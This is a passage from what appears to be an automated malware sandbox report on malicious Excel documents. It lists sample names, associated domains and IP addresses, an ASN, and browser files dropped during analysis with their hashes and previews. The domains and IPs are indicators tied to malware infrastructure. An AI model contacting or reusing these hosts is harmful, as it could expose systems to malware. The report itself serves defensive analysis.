	document-1456634656.xls	Get hash	malicious	Browse
	document-1376447212.xls	Get hash	malicious	Browse
	document-1813856412.xls	Get hash	malicious	Browse
	document-1776123548.xls	Get hash	malicious	Browse
	document-684762271.xls	Get hash	malicious	Browse
	document-1590815978.xls	Get hash	malicious	Browse
	document-66411652.xls	Get hash	malicious	Browse
	document-415601328.xls	Get hash	malicious	Browse
	document-69633738.xls	Get hash	malicious	Browse
	document-779106205.xls	Get hash	malicious	Browse
	document-2092157215.xls	Get hash	malicious	Browse
	document-839860086.xls	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
resolver1.opendns.com	document-1048628209.xls	Get hash	malicious	Browse	208.67.222.222
	document-69564892.xls	Get hash	malicious	Browse	208.67.222.222
	document-1813856412.xls	Get hash	malicious	Browse	208.67.222.222
	document-1776123548.xls	Get hash	malicious	Browse	208.67.222.222
	document-647734423.xls	Get hash	malicious	Browse	208.67.222.222
	document-1579869720.xls	Get hash	malicious	Browse	208.67.222.222
	document-895003104.xls	Get hash	malicious	Browse	208.67.222.222
	document-806281169.xls	Get hash	malicious	Browse	208.67.222.222
	document-1747349663.xls	Get hash	malicious	Browse	208.67.222.222
	document-1822768538.xls	Get hash	malicious	Browse	208.67.222.222
	document-583955381.xls	Get hash	malicious	Browse	208.67.222.222
	document-1312908141.xls	Get hash	malicious	Browse	208.67.222.222
	document-1612462533.xls	Get hash	malicious	Browse	208.67.222.222
	document-1669060840.xls	Get hash	malicious	Browse	208.67.222.222
	document-921217151.xls	Get hash	malicious	Browse	208.67.222.222
	document-1641473761.xls	Get hash	malicious	Browse	208.67.222.222
	document-1570454889.xls	Get hash	malicious	Browse	208.67.222.222
	document-116291302.xls	Get hash	malicious	Browse	208.67.222.222
	document-110658411.xls	Get hash	malicious	Browse	208.67.222.222
	document-584569254.xls	Get hash	malicious	Browse	208.67.222.222
urs-world.com	document-1048628209.xls	Get hash	malicious	Browse	185.186.244.95
	document-1771131239.xls	Get hash	malicious	Browse	185.186.244.95
	document-69564892.xls	Get hash	malicious	Browse	185.186.244.95
	document-1729033050.xls	Get hash	malicious	Browse	185.186.244.95
	document-1813856412.xls	Get hash	malicious	Browse	185.186.244.95
	document-1776123548.xls	Get hash	malicious	Browse	185.186.244.95
	document-647734423.xls	Get hash	malicious	Browse	185.186.244.95
	document-1579869720.xls	Get hash	malicious	Browse	185.186.244.95
	document-895003104.xls	Get hash	malicious	Browse	185.186.244.95
	document-779106205.xls	Get hash	malicious	Browse	185.186.244.95
	document-806281169.xls	Get hash	malicious	Browse	185.186.244.95
	document-839860086.xls	Get hash	malicious	Browse	185.186.244.95
	document-1061603179.xls	Get hash	malicious	Browse	185.186.244.95
	document-909428158.xls	Get hash	malicious	Browse	185.186.244.95
	document-1747349663.xls	Get hash	malicious	Browse	185.186.244.95
	document-1822768538.xls	Get hash	malicious	Browse	185.186.244.95
	document-1952275091.xls	Get hash	malicious	Browse	185.186.244.95
	document-583955381.xls	Get hash	malicious	Browse	185.186.244.95
	document-719712851.xls	Get hash	malicious	Browse	185.186.244.95
	document-1312908141.xls	Get hash	malicious	Browse	185.186.244.95
under17.com	document-1048628209.xls	Get hash	malicious	Browse	185.243.114.196
	document-1771131239.xls	Get hash	malicious	Browse	185.243.114.196
	document-1370071295.xls	Get hash	malicious	Browse	185.243.114.196
	document-69564892.xls	Get hash	malicious	Browse	185.243.114.196
	document-1320073816.xls	Get hash	malicious	Browse	185.243.114.196
	document-184653858.xls	Get hash	malicious	Browse	185.243.114.196
	document-1729033050.xls	Get hash	malicious	Browse	185.243.114.196
	document-540475316.xls	Get hash	malicious	Browse	185.243.114.196
	document-1456634656.xls	Get hash	malicious	Browse	185.243.114.196
	document-1376447212.xls	Get hash	malicious	Browse	185.243.114.196
	document-1813856412.xls	Get hash	malicious	Browse	185.243.114.196
	document-1776123548.xls	Get hash	malicious	Browse	185.243.114.196
	document-684762271.xls	Get hash	malicious	Browse	185.243.114.196
	document-1590815978.xls	Get hash	malicious	Browse	185.243.114.196
	document-66411652.xls	Get hash	malicious	Browse	185.243.114.196
	document-415601328.xls	Get hash	malicious	Browse	185.243.114.196
	document-895003104.xls	Get hash	malicious	Browse	185.243.114.196
	document-69633738.xls	Get hash	malicious	Browse	185.243.114.196
	document-779106205.xls	Get hash	malicious	Browse	185.243.114.196
	document-2092157215.xls	Get hash	malicious	Browse	185.243.114.196

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ACCELERATED-ITDE	document-1048628209.xls	Get hash	malicious	Browse	185.243.114.196
	document-1771131239.xls	Get hash	malicious	Browse	185.243.114.196
	document-1370071295.xls	Get hash	malicious	Browse	185.243.114.196
	document-69564892.xls	Get hash	malicious	Browse	185.243.114.196
	document-1320073816.xls	Get hash	malicious	Browse	185.243.114.196
	document-184653858.xls	Get hash	malicious	Browse	185.243.114.196
	document-1729033050.xls	Get hash	malicious	Browse	185.243.114.196
	document-540475316.xls	Get hash	malicious	Browse	185.243.114.196
	document-1456634656.xls	Get hash	malicious	Browse	185.243.114.196
	document-1376447212.xls	Get hash	malicious	Browse	185.243.114.196
	document-1813856412.xls	Get hash	malicious	Browse	185.243.114.196
	document-1776123548.xls	Get hash	malicious	Browse	185.243.114.196
	document-684762271.xls	Get hash	malicious	Browse	185.243.114.196
	document-1590815978.xls	Get hash	malicious	Browse	185.243.114.196
	document-66411652.xls	Get hash	malicious	Browse	185.243.114.196
	document-415601328.xls	Get hash	malicious	Browse	185.243.114.196
	document-69633738.xls	Get hash	malicious	Browse	185.243.114.196
	document-779106205.xls	Get hash	malicious	Browse	185.243.114.196
	document-2092157215.xls	Get hash	malicious	Browse	185.243.114.196
	document-839860086.xls	Get hash	malicious	Browse	185.243.114.196

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{CA463ED5-9599-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29272
Entropy (8bit):	1.7729684322066352
Encrypted:	false
SSDEEP:	96:reZ2Z3p23SCW3SUGSt3SUGGxf3SUGGv2BM3SUGIHxvkO3SvGIHxvYB:reZ2ZZ2LWjtRfuBMdGOm2B
MD5:	9FBA1C07E1729C3EC595E65CE44D96F7
SHA1:	0B34D0ADB06B257B01F751D58213A811114417FF
SHA-256:	A9C64F0AFA8C119B06DD8789B021B5F08A6CA0E8355E5470F754F78B1175765F
SHA-512:	15C1664626D54A63305B93DC9B7F93D12CD9612F29CAD40ED4C6840827AE72C7EF9DE6D5682FBC9451A393407765D794CC4F914173140C1CCE5B9E28939C2F27
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{E47F4CBA-9599-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	50344
Entropy (8bit):	2.0121808454797434
Encrypted:	false
SSDEEP:	96:r2ZRZtS2tCFWtCEGDttCEG1/ftCEG1pFtMtCEGKSpWtCEGKdppXtCEGKdppHy3Jj:r2ZRZw2eWAtyfQtMx7SlMiMw+IUZaRKg
MD5:	AE1CD01437BAA82F8ED66C62B2A0FC98
SHA1:	CD11DD005794DDE73E9F23F7D6ECA41182E264C0
SHA-256:	4DD3D16C6AE713255EAD5A6511DAB322FB2FA6DF0240D1EACF1F6525F9D0F5B2
SHA-512:	129C360B3206D6A6AEF2DA3521CFDBBE4CA4F1F25D907923AA58A326E4550B28C37FB61393EADD394738BEB3D149F4B331B1A4B9036DCE16CACE6AEBA8EE5F25
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{CA463ED7-9599-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	43408
Entropy (8bit):	2.51452944352385
Encrypted:	false
SSDEEP:	192:rVZeQK6gkwjJ21WkMg5NbvdYbvpebvFbvzbvGbvcfzKlAfzKlfbvzfzKlZeSOHhw:rbb1tyYMRomifMAfMnfMsrSNr
MD5:	AE94B84A17E078607B13BEE30BA49658
SHA1:	CB3825F6DF789978529A8E4DDD526849BF525827
SHA-256:	BC32E88C3A9292D06EAEC9C14FA315AB8F2742B4080D6AA9E5A4004ADB0C2F00
SHA-512:	EF92F1E43432D39592E76EF27C0A15E023D3273F73B5BD925AD7F45CB6FC2EF401E322D98631EE2F607498260F4AA1BF885C51E7463E3358A5DB5DB0F9F127E5
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{E47F4CBC-9599-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27864
Entropy (8bit):	1.8280170576863544
Encrypted:	false
SSDEEP:	96:r0ZrQl6nBSzjJ2eWL0M09SyZ+0gRaRyZ+0gRNZbr:r0ZrQl6nkzjJ2eWL0M09SyZZRyZoZbr
MD5:	28B3D3764AFE6AD27588A108DA4C03F3
SHA1:	E0906BFB36ED13CBA285919BCD16E0498D042981
SHA-256:	D4F4482C98DAC9E3030F7F218C46AECFBF07EBBCABB9A59A29EA202B03CD6D39
SHA-512:	BE8D6D7B257EBDACF391129C867BFAB02DE287D73FD13667ED364BCAD967A114E5EA55C67CFEF8E1AEE14D72B8DCDB1CED05DF8D3FB6E4A9B2ECD72F691939B7
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{E47F4CBE-9599-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27424
Entropy (8bit):	1.8615748348486356
Encrypted:	false
SSDEEP:	96:rqZhQJ6IBSqjS82MWyMyqmAHlTRmAHlsA:rqZhQJ6IkqjR2MWyMyqnR4A
MD5:	CB3BF105FA67BF98C3B16387DD9063A0
SHA1:	2D60AFA0CC347826D63839AA6C4A14B4398E828C
SHA-256:	78C4D248CE088A09C086AE6008F63CF7E344F1C3D0E0AB9A6010D0F244F2360D
SHA-512:	B727081DD879DF1A8CDD79D81BCC207C053534337F4F6C81D7EDC8D8FCD0E10117147FD777453C7EC9974CA6F7C128294306F89437F4E14F1274F8F8B2F3A533
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	656
Entropy (8bit):	5.095858414557955
Encrypted:	false
SSDEEP:	12:TMHdNMNxOEZDeD94nWimI002EtM3MHdNMNxOEZDeD94nWimI00ObVbkEtMb:2d6NxO+iaSZHKd6NxO+iaSZ76b
MD5:	E3DE08A587F61D1DEA06BCAD61877181
SHA1:	D317501E69C7FBAEE0FB7BE3F78779915BBE63E4
SHA-256:	67A0A8BD1F2C2025C11E6E35A10DB966BC04A4B08E559E1AC078E5F7B16F5277
SHA-512:	9D9F4C3A348DC676DB5858BDCC61C320532BE9DAD1DF72161E103D335BF53D969060205FCF17DC9ED96BB7A783560F4628607A2DAB833EC9377720A8DEE85A9F
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xa0123909,0x01d729a6</date><accdate>0xa0123909,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xa0123909,0x01d729a6</date><accdate>0xa0123909,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	653
Entropy (8bit):	5.111813493703111
Encrypted:	false
SSDEEP:	12:TMHdNMNxe2kDQKQ94nWimI002EtM3MHdNMNxe2kDQuc94nWimI00Obkak6EtMb:2d6NxruQKQaSZHKd6NxruQucaSZ7Aa7b
MD5:	55BDF5BFA509771D0C5F002988DD667B
SHA1:	9865119F223DF8625136A07C76AF4E3186D8E4E7
SHA-256:	D2616E3560672FFC1414CF8FB0674AAD64557378589BD5F7F93AF3AF2D19F1E0
SHA-512:	7FEF79CB6A8E9BD82D596C9A06440F4188C5DC2F729F1C50A7385E8343636B91792242C29B46C2B1012BE83A861FA800AA6DFFC558DDE6925F39263755785E07
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0xa00b11f1,0x01d729a6</date><accdate>0xa00b11f1,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0xa00b11f1,0x01d729a6</date><accdate>0xa00d7464,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Amazon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-21706820\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	662
Entropy (8bit):	5.141068962313454
Encrypted:	false
SSDEEP:	12:TMHdNMNxvLBZVxCZVx94nWimI002EtM3MHdNMNxvLBZVxCZVx94nWimI00ObmZEs:2d6NxvVrxCrxaSZHKd6NxvVrxCrxaSZM
MD5:	DC0E25403939D372E4617520DA54A77B
SHA1:	C4835FD04781EA69623FAFF0C3CE305949B6FB3E
SHA-256:	27D5ACEA9AECC92CCA97DB52A6693800778AFEFB1D761BAD45273C15D3F4AC21
SHA-512:	710FFFCEF60B63FF699AECDB144D3955C797E4F9639FC4AF11CD9E50DA1E1B4D899018038EE02BD5734EC3E6C17DF3D41D532A9D759F866857FAFACC5C7771BA
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0xa0149b93,0x01d729a6</date><accdate>0xa0149b93,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0xa0149b93,0x01d729a6</date><accdate>0xa0149b93,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipedia.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-4759708130\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	647
Entropy (8bit):	5.096159758720799
Encrypted:	false
SSDEEP:	12:TMHdNMNxixfaf94nWimI002EtM3MHdNMNxixfaf94nWimI00Obd5EtMb:2d6NxwqaSZHKd6NxwqaSZ7Jjb
MD5:	39C9AED6D2195AE420F2DA2AA4DF5D45
SHA1:	A7ED979023B17534696FB48B6788CD5713BC9B1B
SHA-256:	08CD137A59C4A8CD817EDD5662758194582974830C80D7DC862527164C8B8879
SHA-512:	64759DA41BE86817C1BD967E7E7C66BB1ED87B69EF3973EC97FEC82E70500BE89B064DD7EB1985B32543F030A44CDA3A1589F5C288C7F23CFBD2829FC0B04897
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0xa00fd6c9,0x01d729a6</date><accdate>0xa00fd6c9,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0xa00fd6c9,0x01d729a6</date><accdate>0xa00fd6c9,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	656
Entropy (8bit):	5.15404278412856
Encrypted:	false
SSDEEP:	12:TMHdNMNxhGwBZVxCZVx94nWimI002EtM3MHdNMNxhGwBZVxCZVx94nWimI00Ob8V:2d6NxQCrxCrxaSZHKd6NxQCrxCrxaSZy
MD5:	8A69E600265363A453EFE78EA8FF7691
SHA1:	0BCF5539F523FC6D827A29286BCA2B67EA846B24
SHA-256:	E36F844B18E03070790D1A5F2B3C3C3DD6C9173A2711757E1DE7FA4D7241DB32
SHA-512:	C7120B22AA43CA11AEBF13D2267E1538FF23162AAEE3F697B4C96188CF1D71DEED8F5FA836455CB8DBD7435AF614F9BDE9A893D03894076405C003ED9616206F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xa0149b93,0x01d729a6</date><accdate>0xa0149b93,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xa0149b93,0x01d729a6</date><accdate>0xa0149b93,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-8760897390\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	653
Entropy (8bit):	5.099036194760591
Encrypted:	false
SSDEEP:	12:TMHdNMNx0nZDeD94nWimI002EtM3MHdNMNx0nZDeD94nWimI00ObxEtMb:2d6Nx0BiaSZHKd6Nx0BiaSZ7nb
MD5:	EEC7A63FBFF4318D673535500FAE9308
SHA1:	4AA03B0A60419BC429D770DD6912E471DB9D5269
SHA-256:	C9EF362D2562D1157495BF44C1E31B7A0A02BFA811C75523C447E6573B4A41CA
SHA-512:	B8F77A9BE3E03D69DBF6AA4F6848E8AF2A9393E01B9079C25725BC8D224AE57C8D80A68A7850218009C8B1D9C70BE1042AAD8824BD1A3430D60F581FEBEA31FC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0xa0123909,0x01d729a6</date><accdate>0xa0123909,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0xa0123909,0x01d729a6</date><accdate>0xa0123909,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	656
Entropy (8bit):	5.1274810756503095
Encrypted:	false
SSDEEP:	12:TMHdNMNxxxfaf94nWimI002EtM3MHdNMNxxxfeD94nWimI00Ob6Kq5EtMb:2d6Nx7qaSZHKd6Nx7iaSZ7ob
MD5:	81670A4B364F26CC25EAA64125904624
SHA1:	886501C8C779388FD276BA39BCF12CC49A1B217A
SHA-256:	6863ECA00BB564B288AA8AD4EDB489724CF2F3458FE4404CDCBAA0CF11F9B244
SHA-512:	B8B9D14E51624330044EFAEF0600A412AF269B93B1409D05814F6FC47A8363C4F7E2CC9CB381BF99A574122D077D4A1478AE2197D45D2A078BCDDCCDA0B23604
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0xa00fd6c9,0x01d729a6</date><accdate>0xa00fd6c9,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0xa00fd6c9,0x01d729a6</date><accdate>0xa0123909,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\NYTimes.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	659
Entropy (8bit):	5.126459394681448
Encrypted:	false
SSDEEP:	12:TMHdNMNxczcuc94nWimI002EtM3MHdNMNxczcaf94nWimI00ObVEtMb:2d6NxScucaSZHKd6NxScqaSZ7Db
MD5:	46209166AB2D08F92A752C6796194255
SHA1:	3F267E7E488C15EB52A8D9C2021092AADD1116DA
SHA-256:	666EB49747BB674C28101455C2C49A9E9DCFF62B7C0C175C0DC24ED6C0CF3836
SHA-512:	DCBAB9AF566056695EB787A8F3801640B9643A3574D4219F368CDD35634DE27A5A0609D4C9FBE688623685CE61CE4F8C40E2EC8F49298BE8DC01C67BDB8E3732
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0xa00d7464,0x01d729a6</date><accdate>0xa00d7464,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0xa00d7464,0x01d729a6</date><accdate>0xa00fd6c9,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin8215062560\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	653
Entropy (8bit):	5.081960818763466
Encrypted:	false
SSDEEP:	12:TMHdNMNxfnxfaf94nWimI002EtM3MHdNMNxfnxfaf94nWimI00Obe5EtMb:2d6NxVqaSZHKd6NxVqaSZ7ijb
MD5:	58FEF57D9310E7E12BF0110990650EE7
SHA1:	28B55DAD7B7475A40A5A36FFF7F8E040127A6335
SHA-256:	3F67830832DBEB3036E0C46FC928EE2FEF1BEBD80BA3FBB3925FC3E5AD60E3CA
SHA-512:	A6B54DC1AEDF9AFACBCACF9F16BBC740DBEE26D823A4BB350D7A26BF5CDD60AF4C0B0A1ADD0BC12A4356517A2D3AA0F226CE88F5E395F1141EEAD44CAD93A5E0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0xa00fd6c9,0x01d729a6</date><accdate>0xa00fd6c9,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0xa00fd6c9,0x01d729a6</date><accdate>0xa00fd6c9,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Google.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\HdepnBaFj-yarvouFUIlfV4Q9D8.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	3201
Entropy (8bit):	5.369958740257869
Encrypted:	false
SSDEEP:	48:rmo6TIPx85uuYPXznTBB0D6e7htJETfD8QJLxDO7KTUx42Z3rtki:sYuYPXznb0DR7dw8QhIWTQrt7
MD5:	4AADD0F43326BAD8EFD82C85B6D9A20E
SHA1:	4093FC4AB9821B646D64C98051A1CF0679CB2188
SHA-256:	968849A1E6AAED249C78B6CF1AF585AB6C8482A8C5398AB1D2DC3CB92E9EA68F
SHA-512:	616B06A6E3B2385E5487C819FC7F595D473B2F14E8CB76EFB894EDEAB3B26D2C9B679A9B275D924BECC37E156C70B0B56126CCFB62C8B23ABBA9DE07BD93D72A
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/HdepnBaFj-yarvouFUIlfV4Q9D8.gz.js
Preview:	var __spreadArrays=this&&this.__spreadArrays\|\|function(){for(var i=0,n=0,r=arguments.length;n<r;n++)i+=arguments[n].length;for(var u=Array(i),f=0,n=0;n<r;n++)for(var e=arguments[n],t=0,o=e.length;t<o;t++,f++)u[f]=e[t];return u};define("clientinst",["require","exports"],function(n,t){function it(){a=0;u()}function u(){var n,s,t,o;e&&clearTimeout(e);for(n in i)if(i.hasOwnProperty(n)){s=n!=_G.IG?_G.lsUrl.replace(_G.IG,n):_G.lsUrl;for(t in i[n])i[n].hasOwnProperty(t)&&(o=b+s+"&TYPE=Event."+t+"&DATA="+f("[")+i[n][t]+f("]"),ut(o)\|\|(g().src=o));delete i[n]}typeof r!="undefined"&&r.setTimeout&&(e=r.setTimeout(u,w))}function rt(){return _G!==undefined&&_G.EF!==undefined&&_G.EF.logsb!==undefined&&_G.EF.logsb===1}function ut(n){return rt()?ft(n,""):!1}function ft(n,t){var i="sendBeacon",r=!1;if(navigator&&navigator[i])try{navigator[i](n,t);r=!0}catch(u){}return r}var y,d,i,g,o,p;t.__esModule=!0;t.Wrap=t.Log2=t.LogInstrumented=t.Log=t.LogCustomEvent=void 0;var r=n("env"),s=n("event.native"),h=n("e

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\NGDGShwgz5vCvyjNFyZiaPlHGCE.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	252
Entropy (8bit):	4.837090729138339
Encrypted:	false
SSDEEP:	6:qbLkyK4hImTzBwhLM1whA+XzFE8KSiQLGPQQgnaqza:IQD2IkzaLMGAMzDBVKY+ia
MD5:	1F62E9FDC6CA43F3FC2C4FA56856F368
SHA1:	75ADD74C4E04DB88023404099B9B4AAEA6437AE7
SHA-256:	E1436445696905DF9E8A225930F37015D0EF7160EB9A723BAFC3F9B798365DF6
SHA-512:	6AADAA42E0D86CAD3A44672A57C37ACBA3CB7F85E5104EB68FA44B845C0ED70B3085AA20A504A37DDEDEA7E847F2D53DB18B6455CDA69FB540847CEA6419CDBC
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/NGDGShwgz5vCvyjNFyZiaPlHGCE.gz.js
Preview:	var Button;(function(){WireUp.init("button_init",function(n){var t=n.getAttribute("data-appns"),i=n.getAttribute("data-k");sj_be(n,"click",function(){Log.Log("Click","Button","",!1,"AppNS",t,"K",i,"Category","CommonControls")})})})(Button\|\|(Button={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\Xp-HPHGHOZznHBwdn7OWdva404Y.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	576
Entropy (8bit):	5.192163014367754
Encrypted:	false
SSDEEP:	12:9mPi891gAseP24yXNbdPd1dPkelrR5MdKIKG/OgrfYc3tOfIvHbt:9mPlP5smDy1dV1dHrLMdKIKG/OgLYgtV
